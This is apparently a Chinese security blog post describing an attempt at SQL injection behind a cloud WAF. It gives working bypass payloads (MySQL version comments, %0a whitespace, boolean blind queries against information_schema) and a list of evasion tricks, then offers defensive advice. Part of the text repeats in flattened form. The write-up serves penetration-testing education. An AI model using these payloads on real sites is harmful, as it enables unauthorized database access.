一次失败的SQL注入经历
字数 770 2025-08-06 18:08:11

SQL注入绕过WAF实战教学

1. 漏洞背景

某次安全扫描发现了一个SQL注入漏洞点,但该漏洞点位于某Cloud WAF(Web应用防火墙)之后,直接利用会被拦截。需要通过特殊技术绕过WAF的防护机制。

2. 初步测试

2.1 基础注入测试

?id=1 and 1=1
  • 被WAF拦截
  • 返回403 Forbidden

2.2 简单绕过尝试

?id=1 /*!and*/ 1=1
  • 使用MySQL注释语法
  • 仍然被拦截

3. WAF绕过技术分析

3.1 注释混淆技术

?id=1 /*!50445and*/ 1=1
  • MySQL版本特定注释语法
  • 50445表示MySQL版本号,只有版本>=5.04.45才会执行注释中的内容

3.2 空白符替代

?id=1%0aand%0a1=1
  • 使用换行符(%0a)替代空格
  • 可能绕过基于空格检测的WAF规则

3.3 内联注释与空白符组合

?id=1%0a/*!50445and*/%0a1=1
  • 结合换行符和版本特定注释
  • 成功绕过WAF

4. 完整注入流程

4.1 确定注入点

?id=1%0a/*!50445and*/%0a1=1 -- 返回正常
?id=1%0a/*!50445and*/%0a1=2 -- 返回异常
  • 确认存在布尔型SQL注入

4.2 获取数据库信息

?id=1%0a/*!50445and*/%0a(select%0a@@version%0alimit%0a1)=1
  • 通过布尔盲注获取MySQL版本

4.3 获取表名

?id=1%0a/*!50445and*/%0a(select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a0,1)=1
  • 从information_schema获取当前数据库表名

5. 绕过技术总结

  1. 版本特定注释/*!50445and*/形式
  2. 空白符替代:使用%0a(换行)、%09(制表符)等替代空格
  3. 大小写混合AnD替代and
  4. 双重URL编码:对关键字符进行多次编码
  5. 注释分割:将关键字拆分成a/**/nd形式

6. 防御建议

  1. 使用预编译语句(Prepared Statements)
  2. 实施严格的输入验证
  3. 最小权限原则配置数据库账户
  4. 定期更新WAF规则
  5. 启用详细的SQL注入攻击日志记录

7. 最终结论

虽然通过多种技术组合成功绕过了WAF的防护,但实际测试发现该注入点最终无法获取有效数据,属于"鸡肋"漏洞。这提醒我们:

  • WAF不是万能的,需要多层防御
  • 漏洞验证需要彻底,避免误报
  • 绕过技术的研究对提升防御能力至关重要
SQL注入绕过WAF实战教学 1. 漏洞背景 某次安全扫描发现了一个SQL注入漏洞点,但该漏洞点位于某Cloud WAF(Web应用防火墙)之后,直接利用会被拦截。需要通过特殊技术绕过WAF的防护机制。 2. 初步测试 2.1 基础注入测试 被WAF拦截 返回403 Forbidden 2.2 简单绕过尝试 使用MySQL注释语法 仍然被拦截 3. WAF绕过技术分析 3.1 注释混淆技术 MySQL版本特定注释语法 50445表示MySQL版本号,只有版本>=5.04.45才会执行注释中的内容 3.2 空白符替代 使用换行符(%0a)替代空格 可能绕过基于空格检测的WAF规则 3.3 内联注释与空白符组合 结合换行符和版本特定注释 成功绕过WAF 4. 完整注入流程 4.1 确定注入点 确认存在布尔型SQL注入 4.2 获取数据库信息 通过布尔盲注获取MySQL版本 4.3 获取表名 从information_ schema获取当前数据库表名 5. 绕过技术总结 版本特定注释 : /*!50445and*/ 形式 空白符替代 :使用 %0a (换行)、 %09 (制表符)等替代空格 大小写混合 : AnD 替代 and 双重URL编码 :对关键字符进行多次编码 注释分割 :将关键字拆分成 a/**/nd 形式 6. 防御建议 使用预编译语句(Prepared Statements) 实施严格的输入验证 最小权限原则配置数据库账户 定期更新WAF规则 启用详细的SQL注入攻击日志记录 7. 最终结论 虽然通过多种技术组合成功绕过了WAF的防护,但实际测试发现该注入点最终无法获取有效数据,属于"鸡肋"漏洞。这提醒我们: WAF不是万能的,需要多层防御 漏洞验证需要彻底,避免误报 绕过技术的研究对提升防御能力至关重要